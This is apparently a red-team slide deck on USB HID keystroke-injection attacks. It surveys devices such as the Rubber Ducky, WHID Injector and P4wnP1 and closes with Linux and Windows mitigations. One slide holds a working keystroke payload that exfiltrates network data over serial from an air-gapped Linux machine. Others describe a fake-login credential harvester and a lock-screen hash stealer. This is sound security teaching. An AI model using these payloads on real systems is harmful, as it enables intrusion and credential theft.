Redteaming HID attacks
- 2. Human Interface Device “A human interface device or HID is a type of computer device usually used by humans and takes input and gives output to humans.” – Wikipedia • Keyboard, Mouse, Game Controllers, Drawing tablets, etc. • Most of the times don’t need external drivers to operate • Usually whitelisted by DLP tools • Not under Antiviruses’ scope
- 3. 1st Gen. • Teensy – (PHUKD 2009 & Kautilya 2011) – DIY Solution – Multiplatform (Win, *nix, OSX) – Multipayload (through DIP-Switches) – Cheaper (25 €) • Rubberducky (2010) – Dedicated Hardware – Multiplatform (Win, *nix, OSX) – Can emulate Keyboard & USB Disk – Multipayload (CAPS-INS-NUM) – Changeable VID/PID – Expensive (55 €)
- 4. 2nd Gen. • BadUSB (2014) – It exploits the controllers (i.e. Phison) within commercial USB devices and turns them into a covert keystrokes injecting device. • TURNIPSCHOOL (2015) – Is a hardware implant concealed in a USB cable. It provides short range RF communication capability to software running on the host computer. Alternatively it could serve as a custom USB device under radio control.
- 5. 3rd Gen. • WHID Injector (2017) – A Rubberducky on Steroids – Dedicated Hardware – Multiplatform (Win, *nix, OSX) – Changeable VID/PID – Has WiFi – Cheap (11 €) • P4wnP1 (2017) – A BashBunny on Steroids – Based on RPi Zero W (~15 €) – Has WiFi and USB to ETH – It can emulate USB Key FileSystem – Autocall Back to C2 – Changeable VID/PID – And many other cool features!
- 6. WHID Injector • Atmega 32u4 – Arduino-friendly • ESP-12 – WiFi (both AP and Client modes) – TCP/IP Stack – DNS Support – 4MB Flash • Pinout for weaponizing USB gadgets • HALL Sensor for easy unbrick
- 8. WHID Injector – WHID GUI (web interface) • Shipped w/ Cactus WHID • Hidden SSID • ESPortal Credentials Harvester • Multi OS (Win, OSX, *nix) • AutoStart Function • Change settings on-the-fly • Live Payloads • Duckyscript to WHID Converter • OTA Update of ESP firmware • Changeable VID/PID • Reset ESP from Serial • AirGrap Bypass through Serial
- 9. WHID Injector – WHID GUI (Android app) • Multi OS • AutoStart Function & Live Payloads • Change settings on-the-fly (Hidden SSID, Update FW, Changeable VID/PID)
- 10. Spoofing VID & PID Edit boards.txt in Arduino configuration directory • Linux: /root/.arduino15/packages/arduino/hardware/avr/1.6.19/ • Windows: C:Program Files (x86)Arduinohardwarearduinoavr
- 11. AirGap Bypass - Windows Serial Exfiltration (Driverless)
- 12. AirGap Bypass - Linux Serial Exfiltration CustomDelay:3000 DefaultDelay:50 Press:134+195 CustomDelay:1000 PrintLine:gnome-terminal CustomDelay:1000 PrintLine:sleep .5;stty -F /dev/serial/by-id/*LilyPad* 38400;echo – e "SerialEXFIL:"$(ifconfig)"n" > /dev/serial/by-id/*LilyPad*;exit
- 13. ESPortal Credentials Harvester • Redirects HTTP requests to a fake login page. – Does not support HTTPS requests nor override cached HTTPS redirects. • You can define a custom template for up to 3 specific domains, a welcome portal, and a catch-all. • Captured credentials are stored on the exfiltration page in the file "esportal- log.txt". • Custom html templates can be uploaded for the ESPortal login credential harvester via FTP.
- 14. Software Frameworks – USaBuse • Bypass Air-Gapped restrictions • Once connected to a PC: – Creates a WiFi AP – Stealthy Screensaver Killer – Injects PoSH scripts that creates a HID RAW as exfil channel to transfer data back. – Returns a CMD shell to the attacker
- 15. P4wnP1 • Bypass Air-Gapped restrictions – Uses a HID RAW as exfil channel to transfer data back (~50Kb/s) – The HID backdoor can call back a remote C&C (in case of a weaponized gadget & a known WiFi network available) • Supports RubberDucky Scripts – Can also be triggered by CAPS-, NUM- or SCROLL-LOCK interaction on target • Win10 Lockpicker – Steals NetNTLMv2 hash from locked Windows machine, attempts to crack the hash and enters the plain password to unlock the machine on success. (Fixed with KB4041691 on October 10, 2017).
- 16. POTÆbox Penetration Over The {Air, Ethernet} box • Quad-core CPU ARM • 2gb RAM • 8gb NAND • 2x Gigabit Ethernet Ports (for MiTM, NAC Bypass, etc.) • 2x USB 2.0 Ports • Embedded Microphone • Embedded Camera (at least, connector for it) • 2G/3G Module (w/ SIM card slot) • uSD card slot • Atheros Wifi Chipset ( 2x space permi=ng) • Relays controlled by GPIOs (to remotely control lights, TV, etc.) • HDMI in & out (for HDMI MiTM) – WIP POTAEbox Purposes: - Security OperaMons (i.e. PenetraMon Tests) - Surveillance (i.e. Mic & Camera) - Network Appliance (i.e. Firewall, IDS, Honeypot) - Home AutomaMon (i.e. Lights) - Generic Electronic Projects
- 18. P4wnP1 Mods P4wnP1 OLED Bonnet mod P4wnP1 ophcrack payloadPoisonTap by Sammy Kamkar
- 19. More Mods
- 21. Mitigations – Linux Use udev rules to temporarily disable the addition of new HID devices by creating a file: /etc/udev/rules.d/10-usbblock.rules with the content: #ACTION=="add", ATTR{bInterfaceClass}=="03" RUN+="/bin/sh -c 'echo 0 >/sys$DEVPATH/../authorized'" Run to Block: sed -i 's/#//' /etc/udev/rules.d/10-usbblock.rules; udevadm control -- reload-rules Run to Unlock Before Reboot: sed -i ‘s/^/#/' /etc/udev/rules.d/10-usbblock.rules; udevadm control -- reload-rules
- 22. Mitigations – Linux Tools • https://github.com/trpt/usbdeath – Anti-forensic tool that writes udev rules for known usb devices and do some things at unknown usb insertion or specific usb device removal • https://github.com/USBGuard/usbguard – Software framework for implementing USB device authorization policies
- 23. Mitigations – Windows Tools • https://github.com/pmsosa/duckhunt – Four Operational Modes: • Paranoid: KB input is disallowed until a password is input. Attack will also be logged. • Normal: KB input will temporarily be disallowed. Attack will also be logged. • Sneaky: A few keys will be dropped. Attack will also be logged. • LogOnly: Simply log the attack. • https://github.com/JLospinoso/beamgun – When a malicious HID is inserted it blocks keystrokes injection by continuously stealing focus (and eventually locking the workstation)
- 24. Resources • http://whid.ninja • https://medium.com/@LucaBongiorni/ • https://github.com/exploitagency/ESPloitV2 • https://github.com/sensepost/USaBUSe • https://github.com/mame82/P4wnP1 • http://p4wnp1.readthedocs.io/en/latest/ • https://github.com/mossmann/cc11xx/tree/master/turnipschool • https://srlabs.de/bites/usb-peripherals-turn/ • https://hakshop.com/products/usb-rubber-ducky-deluxe • https://nsa.gov1.info/dni/nsa-ant-catalog/usb/index.html
- 25. Fin